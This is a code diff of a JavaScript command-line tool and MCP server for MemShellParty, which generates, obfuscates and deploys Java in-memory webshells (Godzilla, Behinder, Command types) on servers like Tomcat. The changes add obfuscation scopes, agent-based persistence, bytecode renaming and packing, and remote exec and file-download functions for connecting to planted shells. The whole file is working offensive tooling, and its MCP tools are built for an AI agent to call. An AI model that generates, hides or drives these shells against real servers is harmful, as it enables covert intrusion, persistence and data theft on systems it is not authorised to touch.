|
|
3861
4151
|
]
|
|
3862
4152
|
});
|
|
3863
4153
|
opts.shrink = toggles.includes("shrink");
|
|
@@ -3865,6 +4155,7 @@ async function runMemShellWizard(client) {
|
|
|
3865
4155
|
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
3866
4156
|
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
3867
4157
|
opts.debug = toggles.includes("debug");
|
|
4158
|
+
opts.obfuscate = toggles.includes("obfuscate");
|
|
3868
4159
|
const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
|
|
3869
4160
|
if (!confirmed) {
|
|
3870
4161
|
throw new Error("Cancelled by user.");
|
|
@@ -3877,7 +4168,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
|
|
|
3877
4168
|
function toOptions(o) {
|
|
3878
4169
|
let shellClassBase64 = o.shellClassBase64;
|
|
3879
4170
|
if (o.shellClassFile) {
|
|
3880
|
-
shellClassBase64 =
|
|
4171
|
+
shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
|
|
3881
4172
|
}
|
|
3882
4173
|
return {
|
|
3883
4174
|
server: o.server,
|
|
@@ -3891,6 +4182,9 @@ function toOptions(o) {
|
|
|
3891
4182
|
shrink: o.shrink,
|
|
3892
4183
|
lambdaSuffix: o.lambdaSuffix,
|
|
3893
4184
|
probe: o.probe,
|
|
4185
|
+
obfuscate: o.obfuscate,
|
|
4186
|
+
obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
|
|
4187
|
+
obfuscationScope: o.obfuscationScope,
|
|
3894
4188
|
shellClassName: o.shellClassName,
|
|
3895
4189
|
godzillaPass: o.godzillaPass,
|
|
3896
4190
|
godzillaKey: o.godzillaKey,
|
|
@@ -3909,7 +4203,14 @@ function toOptions(o) {
|
|
|
3909
4203
|
};
|
|
3910
4204
|
}
|
|
3911
4205
|
function registerGenCommand(program) {
|
|
3912
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--
|
|
4206
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
|
|
4207
|
+
new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
|
|
4208
|
+
"ALL",
|
|
4209
|
+
"MEMSHELL_INJECTOR",
|
|
4210
|
+
"INJECTOR",
|
|
4211
|
+
"MEMSHELL"
|
|
4212
|
+
])
|
|
4213
|
+
).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
3913
4214
|
"after",
|
|
3914
4215
|
`
|
|
3915
4216
|
Examples:
|
|
@@ -3921,12 +4222,13 @@ Examples:
|
|
|
3921
4222
|
$ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
|
|
3922
4223
|
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
3923
4224
|
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
4225
|
+
$ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
|
|
3924
4226
|
|
|
3925
4227
|
Note: run 'memparty config' to list the available servers, tools, shell
|
|
3926
|
-
types and packers.
|
|
3927
|
-
|
|
3928
|
-
|
|
3929
|
-
includes the gate header (shellToolConfig) you need for
|
|
4228
|
+
types and packers. On v3, parent packers are categories \u2014 pick a concrete
|
|
4229
|
+
variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
|
|
4230
|
+
support aggregate packers, but -o cannot write several variants to one file.
|
|
4231
|
+
The --json output includes the gate header (shellToolConfig) you need for
|
|
3930
4232
|
'memparty connect' / 'memparty exec'.
|
|
3931
4233
|
`
|
|
3932
4234
|
).action(async (opts, cmd) => {
|
|
@@ -3946,6 +4248,12 @@ includes the gate header (shellToolConfig) you need for
|
|
|
3946
4248
|
memOpts = toOptions(opts);
|
|
3947
4249
|
}
|
|
3948
4250
|
const request = buildMemShellRequest(memOpts);
|
|
4251
|
+
const { agentArgs } = opts;
|
|
4252
|
+
if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
|
|
4253
|
+
throw new Error(
|
|
4254
|
+
"--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
4255
|
+
);
|
|
4256
|
+
}
|
|
3949
4257
|
const genMeta = {
|
|
3950
4258
|
server: memOpts.server,
|
|
3951
4259
|
serverVersion: memOpts.serverVersion,
|
|
@@ -3979,7 +4287,11 @@ includes the gate header (shellToolConfig) you need for
|
|
|
3979
4287
|
});
|
|
3980
4288
|
if (opts.json) {
|
|
3981
4289
|
const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
|
|
3982
|
-
const doc =
|
|
4290
|
+
const doc = {
|
|
4291
|
+
...response,
|
|
4292
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
4293
|
+
...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
|
|
4294
|
+
};
|
|
3983
4295
|
process.stdout.write(`${JSON.stringify(doc, null, 2)}
|
|
3984
4296
|
`);
|
|
3985
4297
|
return;
|
|
@@ -4008,14 +4320,17 @@ includes the gate header (shellToolConfig) you need for
|
|
|
4008
4320
|
if (result.destination !== "stdout") {
|
|
4009
4321
|
logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
|
|
4010
4322
|
}
|
|
4323
|
+
if (agentArgs !== void 0) {
|
|
4324
|
+
for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
|
|
4325
|
+
}
|
|
4011
4326
|
});
|
|
4012
4327
|
}
|
|
4013
4328
|
|
|
4014
4329
|
// src/commands/log.ts
|
|
4015
|
-
import { Option as
|
|
4330
|
+
import { Option as Option5 } from "commander";
|
|
4016
4331
|
function registerLogCommand(program) {
|
|
4017
4332
|
program.command("log").description("Show the global operation log").addOption(
|
|
4018
|
-
new
|
|
4333
|
+
new Option5("--category <name>", "filter by operation category").choices([
|
|
4019
4334
|
"gen",
|
|
4020
4335
|
"probe",
|
|
4021
4336
|
"connect",
|
|
@@ -4070,7 +4385,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
|
|
|
4070
4385
|
import { z } from "zod";
|
|
4071
4386
|
|
|
4072
4387
|
// src/core/localfile.ts
|
|
4073
|
-
import { existsSync as existsSync5, readFileSync as
|
|
4388
|
+
import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
|
|
4074
4389
|
import { dirname as dirname3, join as join6, resolve } from "path";
|
|
4075
4390
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
4076
4391
|
function remoteBasename(remotePath) {
|
|
@@ -4126,7 +4441,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
4126
4441
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
4127
4442
|
);
|
|
4128
4443
|
}
|
|
4129
|
-
return
|
|
4444
|
+
return readFileSync9(localPath);
|
|
4130
4445
|
}
|
|
4131
4446
|
|
|
4132
4447
|
// src/version.ts
|
|
@@ -4159,12 +4474,15 @@ var memShellInput = {
|
|
|
4159
4474
|
shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
|
|
4160
4475
|
shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
|
|
4161
4476
|
packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
|
|
4162
|
-
jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
|
|
4477
|
+
jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
|
|
4163
4478
|
debug: z.boolean().optional(),
|
|
4164
4479
|
byPassJavaModule: z.boolean().optional(),
|
|
4165
4480
|
shrink: z.boolean().optional(),
|
|
4166
4481
|
lambdaSuffix: z.boolean().optional(),
|
|
4167
4482
|
probe: z.boolean().optional(),
|
|
4483
|
+
obfuscate: z.boolean().optional(),
|
|
4484
|
+
obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
|
|
4485
|
+
obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
|
|
4168
4486
|
shellClassName: z.string().optional(),
|
|
4169
4487
|
godzillaPass: z.string().optional(),
|
|
4170
4488
|
godzillaKey: z.string().optional(),
|
|
@@ -4180,19 +4498,22 @@ var memShellInput = {
|
|
|
4180
4498
|
urlPattern: z.string().optional(),
|
|
4181
4499
|
injectorClassName: z.string().optional(),
|
|
4182
4500
|
staticInitialize: z.boolean().optional(),
|
|
4501
|
+
agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
|
|
4183
4502
|
outputFile: z.string().optional().describe(
|
|
4184
4503
|
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
4185
4504
|
)
|
|
4186
4505
|
};
|
|
4187
4506
|
var probeInput = {
|
|
4188
|
-
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
4189
|
-
probeContent: z.string().describe("
|
|
4507
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
|
|
4508
|
+
probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
|
|
4190
4509
|
packer: z.string(),
|
|
4191
4510
|
jdk: z.string().optional(),
|
|
4192
4511
|
debug: z.boolean().optional(),
|
|
4193
4512
|
byPassJavaModule: z.boolean().optional(),
|
|
4194
4513
|
shrink: z.boolean().optional(),
|
|
4195
4514
|
lambdaSuffix: z.boolean().optional(),
|
|
4515
|
+
obfuscate: z.boolean().optional(),
|
|
4516
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
4196
4517
|
staticInitialize: z.boolean().optional(),
|
|
4197
4518
|
shellClassName: z.string().optional(),
|
|
4198
4519
|
host: z.string().optional(),
|
|
@@ -4201,8 +4522,31 @@ var probeInput = {
|
|
|
4201
4522
|
server: z.string().optional(),
|
|
4202
4523
|
reqParamName: z.string().optional(),
|
|
4203
4524
|
commandTemplate: z.string().optional(),
|
|
4525
|
+
respHeaderName: z.string().optional(),
|
|
4204
4526
|
outputFile: memShellInput.outputFile
|
|
4205
4527
|
};
|
|
4528
|
+
var bytecodeInput = {
|
|
4529
|
+
classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
|
|
4530
|
+
outputFile: z.string().optional().describe("also write the transformed class to this local file")
|
|
4531
|
+
};
|
|
4532
|
+
var bytecodeTransformInput = {
|
|
4533
|
+
...bytecodeInput,
|
|
4534
|
+
packer: z.string().optional(),
|
|
4535
|
+
byPassJavaModule: z.boolean().optional(),
|
|
4536
|
+
staticInitialize: z.boolean().optional(),
|
|
4537
|
+
shrink: z.boolean().optional(),
|
|
4538
|
+
renamePackage: z.boolean().optional(),
|
|
4539
|
+
relocateFrom: z.string().optional(),
|
|
4540
|
+
relocateTo: z.string().optional(),
|
|
4541
|
+
entryMethod: z.string().optional(),
|
|
4542
|
+
newClassName: z.string().optional(),
|
|
4543
|
+
randomName: z.boolean().optional(),
|
|
4544
|
+
obfuscate: z.boolean().optional(),
|
|
4545
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
4546
|
+
server: z.string().optional(),
|
|
4547
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
|
|
4548
|
+
respHeaderName: z.string().optional()
|
|
4549
|
+
};
|
|
4206
4550
|
var connectInput = {
|
|
4207
4551
|
name: z.string().optional().describe(
|
|
4208
4552
|
"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
|
|
@@ -4215,7 +4559,8 @@ var connectInput = {
|
|
|
4215
4559
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
4216
4560
|
suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
|
|
4217
4561
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4218
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
4562
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
4563
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
4219
4564
|
};
|
|
4220
4565
|
var execInput = {
|
|
4221
4566
|
name: z.string().optional().describe(
|
|
@@ -4232,7 +4577,8 @@ var execInput = {
|
|
|
4232
4577
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
4233
4578
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
4234
4579
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4235
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
4580
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
4581
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
4236
4582
|
};
|
|
4237
4583
|
var transferConnInput = {
|
|
4238
4584
|
name: execInput.name,
|
|
@@ -4244,6 +4590,7 @@ var transferConnInput = {
|
|
|
4244
4590
|
headerValue: execInput.headerValue,
|
|
4245
4591
|
insecure: execInput.insecure,
|
|
4246
4592
|
timeoutMs: execInput.timeoutMs,
|
|
4593
|
+
upgradeProtocol: execInput.upgradeProtocol,
|
|
4247
4594
|
remoteCharset: z.string().optional().describe(
|
|
4248
4595
|
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
4249
4596
|
)
|
|
@@ -4271,12 +4618,82 @@ var targetSaveInput = {
|
|
|
4271
4618
|
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
4272
4619
|
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
4273
4620
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4621
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
|
|
4274
4622
|
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
4275
4623
|
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
4276
4624
|
shellRemark: z.string().optional().describe("remark for this shell")
|
|
4277
4625
|
};
|
|
4278
4626
|
function createMcpServer(client) {
|
|
4279
4627
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
4628
|
+
server.registerTool(
|
|
4629
|
+
"bytecode_decode",
|
|
4630
|
+
{
|
|
4631
|
+
title: "Decode Java class",
|
|
4632
|
+
description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
|
|
4633
|
+
inputSchema: bytecodeInput
|
|
4634
|
+
},
|
|
4635
|
+
async (args) => {
|
|
4636
|
+
try {
|
|
4637
|
+
const result = await client.decodeBytecode(args.classBytesBase64);
|
|
4638
|
+
const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
|
|
4639
|
+
{ packResult: result.classBytesBase64Str },
|
|
4640
|
+
{ outFile: args.outputFile, decode: true }
|
|
4641
|
+
);
|
|
4642
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
4643
|
+
} catch (err) {
|
|
4644
|
+
return errorContent(err);
|
|
4645
|
+
}
|
|
4646
|
+
}
|
|
4647
|
+
);
|
|
4648
|
+
server.registerTool(
|
|
4649
|
+
"bytecode_transform",
|
|
4650
|
+
{
|
|
4651
|
+
title: "Transform Java class",
|
|
4652
|
+
description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
|
|
4653
|
+
inputSchema: bytecodeTransformInput
|
|
4654
|
+
},
|
|
4655
|
+
async (args) => {
|
|
4656
|
+
try {
|
|
4657
|
+
const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
|
|
4658
|
+
if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
|
|
4659
|
+
throw new Error("Package relocation requires relocateFrom and relocateTo.");
|
|
4660
|
+
}
|
|
4661
|
+
const {
|
|
4662
|
+
outputFile: outputPath,
|
|
4663
|
+
obfuscate: _obfuscate,
|
|
4664
|
+
obfuscationOptions,
|
|
4665
|
+
probeMethod,
|
|
4666
|
+
server: server2,
|
|
4667
|
+
respHeaderName,
|
|
4668
|
+
...fields
|
|
4669
|
+
} = args;
|
|
4670
|
+
const request = {
|
|
4671
|
+
obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
|
|
4672
|
+
...probeMethod === void 0 ? {} : {
|
|
4673
|
+
server: server2 ?? "Unknown",
|
|
4674
|
+
probe: {
|
|
4675
|
+
probeMethod,
|
|
4676
|
+
probeContent: "Bytecode",
|
|
4677
|
+
respHeaderName
|
|
4678
|
+
}
|
|
4679
|
+
}
|
|
4680
|
+
};
|
|
4681
|
+
const result = await client.transformBytecode({
|
|
4682
|
+
classBytesBase64: args.classBytesBase64,
|
|
4683
|
+
...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
|
|
4684
|
+
...renamePackage ? { renamePackage } : {},
|
|
4685
|
+
...request
|
|
4686
|
+
});
|
|
4687
|
+
const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
|
|
4688
|
+
{ packResult: result.packResult ?? result.classBytesBase64Str },
|
|
4689
|
+
{ outFile: outputPath, decode: result.packResult === void 0 || void 0 }
|
|
4690
|
+
);
|
|
4691
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
4692
|
+
} catch (err) {
|
|
4693
|
+
return errorContent(err);
|
|
4694
|
+
}
|
|
4695
|
+
}
|
|
4696
|
+
);
|
|
4280
4697
|
server.registerTool(
|
|
4281
4698
|
"list_servers",
|
|
4282
4699
|
{ title: "List servers", description: "List supported servers and their shell types" },
|
|
@@ -4327,6 +4744,34 @@ function createMcpServer(client) {
|
|
|
4327
4744
|
}
|
|
4328
4745
|
}
|
|
4329
4746
|
);
|
|
4747
|
+
server.registerTool(
|
|
4748
|
+
"list_shell_tool_configs",
|
|
4749
|
+
{
|
|
4750
|
+
title: "List shell tool configs",
|
|
4751
|
+
description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
|
|
4752
|
+
},
|
|
4753
|
+
async () => {
|
|
4754
|
+
try {
|
|
4755
|
+
return jsonContent(await client.getShellToolConfigs());
|
|
4756
|
+
} catch (err) {
|
|
4757
|
+
return errorContent(err);
|
|
4758
|
+
}
|
|
4759
|
+
}
|
|
4760
|
+
);
|
|
4761
|
+
server.registerTool(
|
|
4762
|
+
"list_obfuscation_options",
|
|
4763
|
+
{
|
|
4764
|
+
title: "List obfuscation options",
|
|
4765
|
+
description: "List class obfuscation option keys, defaults and valid values (v3+)"
|
|
4766
|
+
},
|
|
4767
|
+
async () => {
|
|
4768
|
+
try {
|
|
4769
|
+
return jsonContent(await client.getObfuscationOptions());
|
|
4770
|
+
} catch (err) {
|
|
4771
|
+
return errorContent(err);
|
|
4772
|
+
}
|
|
4773
|
+
}
|
|
4774
|
+
);
|
|
4330
4775
|
server.registerTool(
|
|
4331
4776
|
"generate_memshell",
|
|
4332
4777
|
{
|
|
@@ -4345,7 +4790,17 @@ function createMcpServer(client) {
|
|
|
4345
4790
|
};
|
|
4346
4791
|
const started = Date.now();
|
|
4347
4792
|
try {
|
|
4348
|
-
|
|
4793
|
+
if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
|
|
4794
|
+
throw new Error(
|
|
4795
|
+
"agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
4796
|
+
);
|
|
4797
|
+
}
|
|
4798
|
+
const response = await client.generateMemShell(
|
|
4799
|
+
buildMemShellRequest({
|
|
4800
|
+
...args,
|
|
4801
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
4802
|
+
})
|
|
4803
|
+
);
|
|
4349
4804
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
4350
4805
|
logOp({
|
|
4351
4806
|
category: "gen",
|
|
@@ -4355,7 +4810,14 @@ function createMcpServer(client) {
|
|
|
4355
4810
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
4356
4811
|
meta
|
|
4357
4812
|
});
|
|
4358
|
-
return jsonContent(
|
|
4813
|
+
return jsonContent({
|
|
4814
|
+
...response,
|
|
4815
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
4816
|
+
...args.agentArgs === void 0 ? {} : {
|
|
4817
|
+
agentArgs: args.agentArgs,
|
|
4818
|
+
agentLoadExamples: agentLoadExamples(args.agentArgs)
|
|
4819
|
+
}
|
|
4820
|
+
});
|
|
4359
4821
|
} catch (err) {
|
|
4360
4822
|
logOp({
|
|
4361
4823
|
category: "gen",
|
|
@@ -4385,7 +4847,12 @@ function createMcpServer(client) {
|
|
|
4385
4847
|
};
|
|
4386
4848
|
const started = Date.now();
|
|
4387
4849
|
try {
|
|
4388
|
-
const response = await client.generateProbe(
|
|
4850
|
+
const response = await client.generateProbe(
|
|
4851
|
+
buildProbeRequest({
|
|
4852
|
+
...args,
|
|
4853
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
4854
|
+
})
|
|
4855
|
+
);
|
|
4389
4856
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
4390
4857
|
logOp({
|
|
4391
4858
|
category: "probe",
|
|
@@ -4451,29 +4918,19 @@ function createMcpServer(client) {
|
|
|
4451
4918
|
key: args.key,
|
|
4452
4919
|
headerName: args.headerName,
|
|
4453
4920
|
headerValue: args.headerValue,
|
|
4454
|
-
insecure: args.insecure
|
|
4921
|
+
insecure: args.insecure,
|
|
4922
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4455
4923
|
});
|
|
4456
4924
|
const common = {
|
|
4457
4925
|
headerName: conn.headerName,
|
|
4458
4926
|
headerValue: conn.headerValue,
|
|
4459
4927
|
extraHeaders: conn.extraHeaders,
|
|
4460
4928
|
timeoutMs: args.timeoutMs,
|
|
4461
|
-
insecure: conn.insecure
|
|
4929
|
+
insecure: conn.insecure,
|
|
4930
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4462
4931
|
};
|
|
4463
|
-
|
|
4464
|
-
|
|
4465
|
-
case "godzilla":
|
|
4466
|
-
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
4467
|
-
break;
|
|
4468
|
-
case "behinder":
|
|
4469
|
-
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
4470
|
-
break;
|
|
4471
|
-
case "suo5":
|
|
4472
|
-
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
4473
|
-
break;
|
|
4474
|
-
default:
|
|
4475
|
-
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
4476
|
-
}
|
|
4932
|
+
const options = { suo5Mode: args.suo5Mode };
|
|
4933
|
+
const result = await requireProtocol(conn.tool).test({ conn, common, options });
|
|
4477
4934
|
let savedAs;
|
|
4478
4935
|
if (result.ok && conn.targetName === void 0) {
|
|
4479
4936
|
savedAs = autoSaveShell(conn);
|
|
@@ -4512,32 +4969,20 @@ function createMcpServer(client) {
|
|
|
4512
4969
|
key: args.key,
|
|
4513
4970
|
headerName: args.headerName,
|
|
4514
4971
|
headerValue: args.headerValue,
|
|
4515
|
-
insecure: args.insecure
|
|
4972
|
+
insecure: args.insecure,
|
|
4973
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4516
4974
|
});
|
|
4517
4975
|
const common = {
|
|
4518
4976
|
headerName: conn.headerName,
|
|
4519
4977
|
headerValue: conn.headerValue,
|
|
4520
4978
|
extraHeaders: conn.extraHeaders,
|
|
4521
4979
|
timeoutMs: args.timeoutMs,
|
|
4522
|
-
insecure: conn.insecure
|
|
4980
|
+
insecure: conn.insecure,
|
|
4981
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4523
4982
|
};
|
|
4524
|
-
|
|
4525
|
-
|
|
4526
|
-
|
|
4527
|
-
result = await execGodzilla(
|
|
4528
|
-
conn.url,
|
|
4529
|
-
conn.pass ?? "pass",
|
|
4530
|
-
conn.key ?? "key",
|
|
4531
|
-
args.command,
|
|
4532
|
-
{ ...common, os: args.os }
|
|
4533
|
-
);
|
|
4534
|
-
break;
|
|
4535
|
-
case "behinder":
|
|
4536
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
4537
|
-
break;
|
|
4538
|
-
default:
|
|
4539
|
-
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4540
|
-
}
|
|
4983
|
+
const protocol = requireProtocol(conn.tool);
|
|
4984
|
+
if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
|
|
4985
|
+
const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
|
|
4541
4986
|
let savedAs;
|
|
4542
4987
|
if (result.ok && conn.targetName === void 0) {
|
|
4543
4988
|
savedAs = autoSaveShell(conn);
|
|
@@ -4579,38 +5024,24 @@ function createMcpServer(client) {
|
|
|
4579
5024
|
key: args.key,
|
|
4580
5025
|
headerName: args.headerName,
|
|
4581
5026
|
headerValue: args.headerValue,
|
|
4582
|
-
insecure: args.insecure
|
|
5027
|
+
insecure: args.insecure,
|
|
5028
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4583
5029
|
});
|
|
4584
5030
|
const common = {
|
|
4585
5031
|
headerName: conn.headerName,
|
|
4586
5032
|
headerValue: conn.headerValue,
|
|
4587
5033
|
extraHeaders: conn.extraHeaders,
|
|
4588
5034
|
timeoutMs: args.timeoutMs,
|
|
4589
|
-
insecure: conn.insecure
|
|
5035
|
+
insecure: conn.insecure,
|
|
5036
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4590
5037
|
};
|
|
4591
5038
|
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
4592
|
-
|
|
4593
|
-
|
|
4594
|
-
|
|
4595
|
-
|
|
4596
|
-
|
|
4597
|
-
|
|
4598
|
-
conn.key ?? "key",
|
|
4599
|
-
args.remotePath,
|
|
4600
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
4601
|
-
);
|
|
4602
|
-
break;
|
|
4603
|
-
case "behinder":
|
|
4604
|
-
result = await downloadBehinder(
|
|
4605
|
-
conn.url,
|
|
4606
|
-
conn.pass ?? "rebeyond",
|
|
4607
|
-
args.remotePath,
|
|
4608
|
-
common
|
|
4609
|
-
);
|
|
4610
|
-
